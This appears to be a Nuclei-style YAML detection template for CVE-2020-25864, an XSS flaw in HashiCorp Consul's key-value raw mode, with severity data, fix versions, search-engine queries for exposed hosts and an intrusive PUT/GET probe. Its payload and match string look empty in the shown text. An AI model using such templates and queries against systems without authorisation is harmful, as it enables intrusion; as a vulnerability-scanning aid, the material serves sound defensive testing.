id: CVE-2020-25864
info:
name: HashiCorp Consul/Consul Enterprise <=1.9.4 - Cross-Site Scripting
author: c-sh0
severity: medium
description: |
HashiCorp Consul and Consul Enterprise up to version 1.9.4 are vulnerable to cross-site scripting via the key-value (KV) raw mode.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected Consul/Consul Enterprise application.
remediation: Fixed in 1.9.5, 1.8.10 and 1.7.14.
reference:
- https://discuss.hashicorp.com/t/hcsec-2021-07-consul-api-kv-endpoint-vulnerable-to-cross-site-scripting/23368
- https://www.hashicorp.com/blog/category/consul
- https://nvd.nist.gov/vuln/detail/CVE-2020-25864
- https://security.gentoo.org/glsa/202208-09
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2020-25864
cwe-id: CWE-79
epss-score: 0.00324
epss-percentile: 0.70681
cpe: cpe:2.3:a:hashicorp:consul:*:*:*:*:-:*:*:*
metadata:
max-request: 2
vendor: hashicorp
product: consul
shodan-query:
- http.title:"consul by hashicorp"
- cpe:"cpe:2.3:a:hashicorp:consul"
fofa-query: title="consul by hashicorp"
google-query: intitle:"consul by hashicorp"
tags: cve,cve2020,consul,xss,intrusive,hashicorp
http:
- raw:
- |
PUT {{BaseURL}}/v1/kv/{{randstr}} HTTP/1.1
Host: {{Hostname}}
- |
GET {{BaseURL}}/v1/kv/{{randstr}}%3Fraw HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: header
words:
- text/html
- type: word
part: body_2
words:
-
- type: status
status:
- 200
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